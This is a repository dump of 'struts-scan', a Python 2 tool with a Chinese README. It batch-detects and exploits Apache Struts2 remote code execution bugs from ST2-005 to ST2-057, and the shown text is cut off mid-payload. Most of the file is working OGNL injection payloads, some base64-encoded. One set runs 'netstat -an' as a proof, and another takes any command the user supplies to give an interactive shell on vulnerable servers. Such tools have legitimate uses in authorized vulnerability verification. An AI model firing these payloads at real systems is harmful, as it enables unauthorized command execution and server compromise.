├── README.md
├── images
├── exp.png
└── poc.png
├── struts-scan
├── struts-scan.exe
└── struts-scan.py
/README.md:
--------------------------------------------------------------------------------
1 | # struts-scan
2 | 快速检测struts命令执行漏洞,可批量。
3 |
4 | # 运行环境
5 | MAC/Linux下的Python2
6 |
7 | # 支持对以下版本的检测
8 |
9 | ST2-005
10 |
11 | ST2-008
12 |
13 | ST2-009
14 |
15 | ST2-013
16 |
17 | ST2-016
18 |
19 | ST2-019
20 |
21 | ST2-020
22 |
23 | ST2-devmode
24 |
25 | ST2-032
26 |
27 | ST2-033
28 |
29 | ST2-037
30 |
31 | ST2-045
32 |
33 | ST2-046
34 |
35 | ST2-048
36 |
37 | ST2-052
38 |
39 | ST2-053
40 |
41 | ST2-057
42 |
43 | # 使用
44 | 
45 |
46 | 
47 |
48 | # 增加
49 | [+]针对各版本的shell命令交互
50 |
51 | [+]struts2-052检测(利用后面会加上)
52 |
53 | [+]struts2-053检测+利用(需要提供参数)
54 |
55 | [+]检测过程中输出超时原因
56 |
57 | [+]兼容HTTP/1.0,修复了struts-045检测不准确的问题
58 |
59 | [+]struts2-046检测+利用
60 |
61 | [+]修改struts2-048的payload
62 |
63 | [+]针对某些超时的情况,注释掉 httplib.HTTPConnection._http_vsn = 10 和httplib.HTTPConnection._http_vsn_str = 'HTTP/1.0'这两行再测试一遍,因为有的可能不支持HTTP/1.0的协议。
64 |
65 | [+]增加linux和win的可执行文件,windows需要.NET环境。
66 |
67 | [+]增加写入文件功能,针对有漏洞的struts版本号会自动写入success.txt文件。
68 |
69 | [+]增加struts2-057检测和利用,生产环境还没有找到可利用的例子,实属鸡肋的洞,参考https://github.com/Ivan1ee/struts2-057-exp
70 |
71 | # 特别说明
72 | 此工具仅限于漏洞验证,如若使用者引起相关的法律责任请自负,开发者不承担连带责任。
73 |
--------------------------------------------------------------------------------
/images/exp.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Lucifer1993/struts-scan/abe5d1a43c1699c5c5b58759a0a9474d84884228/images/exp.png
--------------------------------------------------------------------------------
/images/poc.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Lucifer1993/struts-scan/abe5d1a43c1699c5c5b58759a0a9474d84884228/images/poc.png
--------------------------------------------------------------------------------
/struts-scan:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Lucifer1993/struts-scan/abe5d1a43c1699c5c5b58759a0a9474d84884228/struts-scan
--------------------------------------------------------------------------------
/struts-scan.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Lucifer1993/struts-scan/abe5d1a43c1699c5c5b58759a0a9474d84884228/struts-scan.exe
--------------------------------------------------------------------------------
/struts-scan.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # coding=utf-8
3 | # code by Lucifer
4 | # Date 2017/10/22
5 |
6 | import re
7 | import sys
8 | import socket
9 | import base64
10 | import httplib
11 | import warnings
12 | import requests
13 | from termcolor import cprint
14 | from urlparse import urlparse
15 | warnings.filterwarnings("ignore")
16 | reload(sys)
17 | sys.setdefaultencoding('utf-8')
18 | httplib.HTTPConnection._http_vsn = 10
19 | httplib.HTTPConnection._http_vsn_str = 'HTTP/1.0'
20 |
21 | #超时设置
22 | TMOUT=10
23 |
24 | headers = {
25 | "Accept":"application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*",
26 | "User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50",
27 | "Content-Type":"application/x-www-form-urlencoded"
28 | }
29 | headers2 = {
30 | "User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50",
31 | "Accept":"application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*",
32 | "Content-Type":"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='netstat -an').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
33 | }
34 | headers_052 = {
35 | "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
36 | "User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50",
37 | "Content-Type":"application/xml"
38 | }
39 | class struts_baseverify:
40 | def __init__(self, url):
41 | self.url = url
42 | self.poc = {
43 | "ST2-005":base64.b64decode("KCdcNDNfbWVtYmVyQWNjZXNzLmFsbG93U3RhdGljTWV0aG9kQWNjZXNzJykoYSk9dHJ1ZSYoYikoKCdcNDNjb250ZXh0W1wneHdvcmsuTWV0aG9kQWNjZXNzb3IuZGVueU1ldGhvZEV4ZWN1dGlvblwnXVw3NWZhbHNlJykoYikpJignXDQzYycpKCgnXDQzX21lbWJlckFjY2Vzcy5leGNsdWRlUHJvcGVydGllc1w3NUBqYXZhLnV0aWwuQ29sbGVjdGlvbnNARU1QVFlfU0VUJykoYykpJihnKSgoJ1w0M215Y21kXDc1XCduZXRzdGF0IC1hblwnJykoZCkpJihoKSgoJ1w0M215cmV0XDc1QGphdmEubGFuZy5SdW50aW1lQGdldFJ1bnRpbWUoKS5leGVjKFw0M215Y21kKScpKGQpKSYoaSkoKCdcNDNteWRhdFw3NW5ld1w0MGphdmEuaW8uRGF0YUlucHV0U3RyZWFtKFw0M215cmV0LmdldElucHV0U3RyZWFtKCkpJykoZCkpJihqKSgoJ1w0M215cmVzXDc1bmV3XDQwYnl0ZVs1MTAyMF0nKShkKSkmKGspKCgnXDQzbXlkYXQucmVhZEZ1bGx5KFw0M215cmVzKScpKGQpKSYobCkoKCdcNDNteXN0clw3NW5ld1w0MGphdmEubGFuZy5TdHJpbmcoXDQzbXlyZXMpJykoZCkpJihtKSgoJ1w0M215b3V0XDc1QG9yZy5hcGFjaGUuc3RydXRzMi5TZXJ2bGV0QWN0aW9uQ29udGV4dEBnZXRSZXNwb25zZSgpJykoZCkpJihuKSgoJ1w0M215b3V0LmdldFdyaXRlcigpLnByaW50bG4oXDQzbXlzdHIpJykoZCkp"),
44 | "ST2-008-1":'''?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27netstat -an%27%29.getInputStream%28%29%29)''',
45 | "ST2-008-2":'''?debug=command&expression=(%23_memberAccess.allowStaticMethodAccess=true,%23context["xwork.MethodAccessor.denyMethodExecution"]=false,%23cmd="netstat -an",%23ret=@java.lang.Runtime@getRuntime().exec(%23cmd),%23data=new+java.io.DataInputStream(%23ret.getInputStream()),%23res=new+byte[1000],%23data.readFully(%23res),%23echo=new+java.lang.String(%23res),%23out=@org.apache.struts2.ServletActionContext@getResponse(),%23out.getWriter().println(%23echo))''',
46 | "ST2-009":'''class.classLoader.jarPath=%28%23context["xwork.MethodAccessor.denyMethodExecution"]%3d+new+java.lang.Boolean%28false%29%2c+%23_memberAccess["allowStaticMethodAccess"]%3dtrue%2c+%23a%3d%40java.lang.Runtime%40getRuntime%28%29.exec%28%27netstat -an%27%29.getInputStream%28%29%2c%23b%3dnew+java.io.InputStreamReader%28%23a%29%2c%23c%3dnew+java.io.BufferedReader%28%23b%29%2c%23d%3dnew+char[50000]%2c%23c.read%28%23d%29%2c%23sbtest%3d%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getWriter%28%29%2c%23sbtest.println%28%23d%29%2c%23sbtest.close%28%29%29%28meh%29&z[%28class.classLoader.jarPath%29%28%27meh%27%29]''',
47 | "ST2-013":base64.b64decode("YT0xJHsoJTIzX21lbWJlckFjY2Vzc1siYWxsb3dTdGF0aWNNZXRob2RBY2Nlc3MiXT10cnVlLCUyM2E9QGphdmEubGFuZy5SdW50aW1lQGdldFJ1bnRpbWUoKS5leGVjKCduZXRzdGF0IC1hbicpLmdldElucHV0U3RyZWFtKCksJTIzYj1uZXcramF2YS5pby5JbnB1dFN0cmVhbVJlYWRlciglMjNhKSwlMjNjPW5ldytqYXZhLmlvLkJ1ZmZlcmVkUmVhZGVyKCUyM2IpLCUyM2Q9bmV3K2NoYXJbNTAwMDBdLCUyM2MucmVhZCglMjNkKSwlMjNzYnRlc3Q9QG9yZy5hcGFjaGUuc3RydXRzMi5TZXJ2bGV0QWN0aW9uQ29udGV4dEBnZXRSZXNwb25zZSgpLmdldFdyaXRlcigpLCUyM3NidGVzdC5wcmludGxuKCUyM2QpLCUyM3NidGVzdC5jbG9zZSgpKX0="),
48 | "ST2-016":base64.b64decode("cmVkaXJlY3Q6JHslMjNyZXElM2QlMjNjb250ZXh0LmdldCglMjdjbyUyNyUyYiUyN20ub3BlbiUyNyUyYiUyN3N5bXBob255Lnh3byUyNyUyYiUyN3JrMi5kaXNwJTI3JTJiJTI3YXRjaGVyLkh0dHBTZXIlMjclMmIlMjd2bGV0UmVxJTI3JTJiJTI3dWVzdCUyNyksJTIzcyUzZG5ldyUyMGphdmEudXRpbC5TY2FubmVyKChuZXclMjBqYXZhLmxhbmcuUHJvY2Vzc0J1aWxkZXIoJTI3bmV0c3RhdCUyMC1hbiUyNy50b1N0cmluZygpLnNwbGl0KCUyN1xccyUyNykpKS5zdGFydCgpLmdldElucHV0U3RyZWFtKCkpLnVzZURlbGltaXRlciglMjdcXEElMjcpLCUyM3N0ciUzZCUyM3MuaGFzTmV4dCgpPyUyM3MubmV4dCgpOiUyNyUyNywlMjNyZXNwJTNkJTIzY29udGV4dC5nZXQoJTI3Y28lMjclMmIlMjdtLm9wZW4lMjclMmIlMjdzeW1waG9ueS54d28lMjclMmIlMjdyazIuZGlzcCUyNyUyYiUyN2F0Y2hlci5IdHRwU2VyJTI3JTJiJTI3dmxldFJlcyUyNyUyYiUyN3BvbnNlJTI3KSwlMjNyZXNwLnNldENoYXJhY3RlckVuY29kaW5nKCUyN1VURi04JTI3KSwlMjNyZXNwLmdldFdyaXRlcigpLnByaW50bG4oJTIzc3RyKSwlMjNyZXNwLmdldFdyaXRlcigpLmZsdXNoKCksJTIzcmVzcC5nZXRXcml0ZXIoKS5jbG9zZSgpfQ=="),
49 | "ST2-019":base64.b64decode("ZGVidWc9Y29tbWFuZCZleHByZXNzaW9uPSNmPSNfbWVtYmVyQWNjZXNzLmdldENsYXNzKCkuZ2V0RGVjbGFyZWRGaWVsZCgnYWxsb3dTdGF0aWNNZXRob2RBY2Nlc3MnKSwjZi5zZXRBY2Nlc3NpYmxlKHRydWUpLCNmLnNldCgjX21lbWJlckFjY2Vzcyx0cnVlKSwjcmVxPUBvcmcuYXBhY2hlLnN0cnV0czIuU2VydmxldEFjdGlvbkNvbnRleHRAZ2V0UmVxdWVzdCgpLCNyZXNwPUBvcmcuYXBhY2hlLnN0cnV0czIuU2VydmxldEFjdGlvbkNvbnRleHRAZ2V0UmVzcG9uc2UoKS5nZXRXcml0ZXIoKSwjYT0obmV3IGphdmEubGFuZy5Qcm9jZXNzQnVpbGRlcihuZXcgamF2YS5sYW5nLlN0cmluZ1tdeyduZXRzdGF0JywnLWFuJ30pKS5zdGFydCgpLCNiPSNhLmdldElucHV0U3RyZWFtKCksI2M9bmV3IGphdmEuaW8uSW5wdXRTdHJlYW1SZWFkZXIoI2IpLCNkPW5ldyBqYXZhLmlvLkJ1ZmZlcmVkUmVhZGVyKCNjKSwjZT1uZXcgY2hhclsxMDAwMF0sI2QucmVhZCgjZSksI3Jlc3AucHJpbnRsbigjZSksI3Jlc3AuY2xvc2UoKQ=="),
50 | "ST2-devmode":'''?debug=browser&object=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23context%5B%23parameters.rpsobj%5B0%5D%5D.getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()))):sb.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&command=netstat%20-an''',
51 | "ST2-032":'''?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd[0]).getInputStream()).useDelimiter(%23parameters.pp[0]),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp[0],%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&cmd=netstat -an&pp=____A&ppp=%20&encoding=UTF-8''',
52 | "ST2-033":'''/%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23xx%3d123,%23rs%3d@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()),%23wr%3d%23context[%23parameters.obj[0]].getWriter(),%23wr.print(%23rs),%23wr.close(),%23xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=2908&command=netstat -an''',
53 | "ST2-037":'''/(%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23wr%3d%23context%5b%23parameters.obj%5b0%5d%5d.getWriter(),%23rs%3d@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()),%23wr.println(%23rs),%23wr.flush(),%23wr.close()):xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=16456&command=netstat -an''',
54 | "ST2-048":'''name=%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='netstat -an').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}''',
55 | "ST2-052":''' ''',
56 | "ST2-053":'''%25%7B%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23cmd%3D%27netstat%20-an%27%29.%28%23iswin%3D%28@java.lang.System@getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27%2fc%27%2C%23cmd%7D%3A%7B%27%2fbin%2fbash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28@org.apache.commons.io.IOUtils@toString%28%23process.getInputStream%28%29%29%29%7D''',
57 | "struts2-057-1":'''/%24%7B%28%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23w%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%29.%28%23w.print%28@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27netstat -an%27%29.getInputStream%28%29%29%29%29.%28%23w.close%28%29%29%7D''',
58 | "struts2-057-2":'''/%24%7B%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23w%3D%23ct.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%29.%28%23w.print%28@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27netstat -an%27%29.getInputStream%28%29%29%29%29.%28%23w.close%28%29%29%7D''',
59 | }
60 | self.shell = {
61 | "struts2-005":base64.b64decode("KCdcNDNfbWVtYmVyQWNjZXNzLmFsbG93U3RhdGljTWV0aG9kQWNjZXNzJykoYSk9dHJ1ZSYoYikoKCdcNDNjb250ZXh0W1wneHdvcmsuTWV0aG9kQWNjZXNzb3IuZGVueU1ldGhvZEV4ZWN1dGlvblwnXVw3NWZhbHNlJykoYikpJignXDQzYycpKCgnXDQzX21lbWJlckFjY2Vzcy5leGNsdWRlUHJvcGVydGllc1w3NUBqYXZhLnV0aWwuQ29sbGVjdGlvbnNARU1QVFlfU0VUJykoYykpJihnKSgoJ1w0M215Y21kXDc1XCdGVVpaSU5HQ09NTUFORFwnJykoZCkpJihoKSgoJ1w0M215cmV0XDc1QGphdmEubGFuZy5SdW50aW1lQGdldFJ1bnRpbWUoKS5leGVjKFw0M215Y21kKScpKGQpKSYoaSkoKCdcNDNteWRhdFw3NW5ld1w0MGphdmEuaW8uRGF0YUlucHV0U3RyZWFtKFw0M215cmV0LmdldElucHV0U3RyZWFtKCkpJykoZCkpJihqKSgoJ1w0M215cmVzXDc1bmV3XDQwYnl0ZVs1MTAyMF0nKShkKSkmKGspKCgnXDQzbXlkYXQucmVhZEZ1bGx5KFw0M215cmVzKScpKGQpKSYobCkoKCdcNDNteXN0clw3NW5ld1w0MGphdmEubGFuZy5TdHJpbmcoXDQzbXlyZXMpJykoZCkpJihtKSgoJ1w0M215b3V0XDc1QG9yZy5hcGFjaGUuc3RydXRzMi5TZXJ2bGV0QWN0aW9uQ29udGV4dEBnZXRSZXNwb25zZSgpJykoZCkpJihuKSgoJ1w0M215b3V0LmdldFdyaXRlcigpLnByaW50bG4oXDQzbXlzdHIpJykoZCkp"),
62 | "struts2-008-1":'''?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27FUZZINGCOMMAND%27%29.getInputStream%28%29%29)''',
63 | "struts2-008-2":'''?debug=command&expression=(%23_memberAccess.allowStaticMethodAccess=true,%23context["xwork.MethodAccessor.denyMethodExecution"]=false,%23cmd="FUZZINGCOMMAND",%23ret=@java.lang.Runtime@getRuntime().exec(%23cmd),%23data=new+java.io.DataInputStream(%23ret.getInputStream()),%23res=new+byte[1000],%23data.readFully(%23res),%23echo=new+java.lang.String(%23res),%23out=@org.apache.struts2.ServletActionContext@getResponse(),%23out.getWriter().println(%23echo))''',
64 | "struts2-009":'''class.classLoader.jarPath=%28%23context["xwork.MethodAccessor.denyMethodExecution"]%3d+new+java.lang.Boolean%28false%29%2c+%23_memberAccess["allowStaticMethodAccess"]%3dtrue%2c+%23a%3d%40java.lang.Runtime%40getRuntime%28%29.exec%28%27FUZZINGCOMMAND%27%29.getInputStream%28%29%2c%23b%3dnew+java.io.InputStreamReader%28%23a%29%2c%23c%3dnew+java.io.BufferedReader%28%23b%29%2c%23d%3dnew+char[50000]%2c%23c.read%28%23d%29%2c%23sbtest%3d%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getWriter%28%29%2c%23sbtest.println%28%23d%29%2c%23sbtest.close%28%29%29%28meh%29&z[%28class.classLoader.jarPath%29%28%27meh%27%29]''',
65 | "struts2-013":base64.b64decode("YT0xJHsoJTIzX21lbWJlckFjY2Vzc1siYWxsb3dTdGF0aWNNZXRob2RBY2Nlc3MiXT10cnVlLCUyM2E9QGphdmEubGFuZy5SdW50aW1lQGdldFJ1bnRpbWUoKS5leGVjKCdGVVpaSU5HQ09NTUFORCcpLmdldElucHV0U3RyZWFtKCksJTIzYj1uZXcramF2YS5pby5JbnB1dFN0cmVhbVJlYWRlciglMjNhKSwlMjNjPW5ldytqYXZhLmlvLkJ1ZmZlcmVkUmVhZGVyKCUyM2IpLCUyM2Q9bmV3K2NoYXJbNTAwMDBdLCUyM2MucmVhZCglMjNkKSwlMjNzYnRlc3Q9QG9yZy5hcGFjaGUuc3RydXRzMi5TZXJ2bGV0QWN0aW9uQ29udGV4dEBnZXRSZXNwb25zZSgpLmdldFdyaXRlcigpLCUyM3NidGVzdC5wcmludGxuKCUyM2QpLCUyM3NidGVzdC5jbG9zZSgpKX0="),
66 | "struts2-016":base64.b64decode("cmVkaXJlY3Q6JHslMjNyZXElM2QlMjNjb250ZXh0LmdldCglMjdjbyUyNyUyYiUyN20ub3BlbiUyNyUyYiUyN3N5bXBob255Lnh3byUyNyUyYiUyN3JrMi5kaXNwJTI3JTJiJTI3YXRjaGVyLkh0dHBTZXIlMjclMmIlMjd2bGV0UmVxJTI3JTJiJTI3dWVzdCUyNyksJTIzcyUzZG5ldyUyMGphdmEudXRpbC5TY2FubmVyKChuZXclMjBqYXZhLmxhbmcuUHJvY2Vzc0J1aWxkZXIoJTI3RlVaWklOR0NPTU1BTkQlMjcudG9TdHJpbmcoKS5zcGxpdCglMjdcXHMlMjcpKSkuc3RhcnQoKS5nZXRJbnB1dFN0cmVhbSgpKS51c2VEZWxpbWl0ZXIoJTI3XFxBJTI3KSwlMjNzdHIlM2QlMjNzLmhhc05leHQoKT8lMjNzLm5leHQoKTolMjclMjcsJTIzcmVzcCUzZCUyM2NvbnRleHQuZ2V0KCUyN2NvJTI3JTJiJTI3bS5vcGVuJTI3JTJiJTI3c3ltcGhvbnkueHdvJTI3JTJiJTI3cmsyLmRpc3AlMjclMmIlMjdhdGNoZXIuSHR0cFNlciUyNyUyYiUyN3ZsZXRSZXMlMjclMmIlMjdwb25zZSUyNyksJTIzcmVzcC5zZXRDaGFyYWN0ZXJFbmNvZGluZyglMjdVVEYtOCUyNyksJTIzcmVzcC5nZXRXcml0ZXIoKS5wcmludGxuKCUyM3N0ciksJTIzcmVzcC5nZXRXcml0ZXIoKS5mbHVzaCgpLCUyM3Jlc3AuZ2V0V3JpdGVyKCkuY2xvc2UoKX0="),
67 | "struts2-019":base64.b64decode("ZGVidWc9Y29tbWFuZCZleHByZXNzaW9uPSNmPSNfbWVtYmVyQWNjZXNzLmdldENsYXNzKCkuZ2V0RGVjbGFyZWRGaWVsZCgnYWxsb3dTdGF0aWNNZXRob2RBY2Nlc3MnKSwjZi5zZXRBY2Nlc3NpYmxlKHRydWUpLCNmLnNldCgjX21lbWJlckFjY2Vzcyx0cnVlKSwjcmVxPUBvcmcuYXBhY2hlLnN0cnV0czIuU2VydmxldEFjdGlvbkNvbnRleHRAZ2V0UmVxdWVzdCgpLCNyZXNwPUBvcmcuYXBhY2hlLnN0cnV0czIuU2VydmxldEFjdGlvbkNvbnRleHRAZ2V0UmVzcG9uc2UoKS5nZXRXcml0ZXIoKSwjYT0obmV3IGphdmEubGFuZy5Qcm9jZXNzQnVpbGRlcihuZXcgamF2YS5sYW5nLlN0cmluZ1tdeydGVVpaSU5HQ09NTUFORCd9KSkuc3RhcnQoKSwjYj0jYS5nZXRJbnB1dFN0cmVhbSgpLCNjPW5ldyBqYXZhLmlvLklucHV0U3RyZWFtUmVhZGVyKCNiKSwjZD1uZXcgamF2YS5pby5CdWZmZXJlZFJlYWRlcigjYyksI2U9bmV3IGNoYXJbMTAwMDBdLCNkLnJlYWQoI2UpLCNyZXNwLnByaW50bG4oI2UpLCNyZXNwLmNsb3NlKCk="),
68 | "struts2-devmode":'''?debug=browser&object=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23context%5B%23parameters.rpsobj%5B0%5D%5D.getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()))):sb.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&command=FUZZINGCOMMAND''',
69 | "struts2-032":'''?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd[0]).getInputStream()).useDelimiter(%23parameters.pp[0]),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp[0],%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&cmd=FUZZINGCOMMAND&pp=____A&ppp=%20&encoding=UTF-8''',
70 | "struts2-033":'''/%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23xx%3d123,%23rs%3d@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()),%23wr%3d%23context[%23parameters.obj[0]].getWriter(),%23wr.print(%23rs),%23wr.close(),%23xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=2908&command=FUZZINGCOMMAND''',
71 | "struts2-037":'''/(%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23wr%3d%23context%5b%23parameters.obj%5b0%5d%5d.getWriter(),%23rs%3d@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()),%23wr.println(%23rs),%23wr.flush(),%23wr.close()):xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=16456&command=FUZZINGCOMMAND''',
72 | "struts2-048":'''name=%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='FUZZINGCOMMAND').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}''',
73 | "struts2-052":''' ''',
74 | "struts2-053":'''%25%7B%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23cmd%3D%27echo%20%2281dc9bdb52d04dc2%22%26%26FUZZINGCOMMAND%26%26echo%20%220036dbd8313ed055%22%27%29.%28%23iswin%3D%28@java.lang.System@getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27%2fc%27%2C%23cmd%7D%3A%7B%27%2fbin%2fbash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%